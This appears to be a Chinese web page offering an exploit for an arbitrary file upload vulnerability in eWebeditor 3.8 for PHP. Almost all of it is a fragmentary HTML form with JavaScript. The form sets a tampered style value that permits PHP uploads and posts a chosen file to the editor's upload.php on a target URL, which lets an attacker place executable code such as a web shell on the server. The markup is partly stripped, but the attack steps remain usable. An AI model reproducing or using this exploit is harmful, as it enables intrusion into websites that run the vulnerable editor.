ewebeditor php漏洞,eWebeditor 3.8 for php任意文件上传漏洞 附exp

eWebeditoR3.8 for

php任意文件上EXP

enctype="multipart/form-data">

value="512000">

URL:

value="http://www.xxxxx.com/ewebeditor/"

size=100>

value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||…|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1">

file:

name="uploadfile">

οnclick=fsubmit()>

function fsubmit(){

form = document.forms[0];

form.action =

form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en';

alert(form.action);

form.submit();

}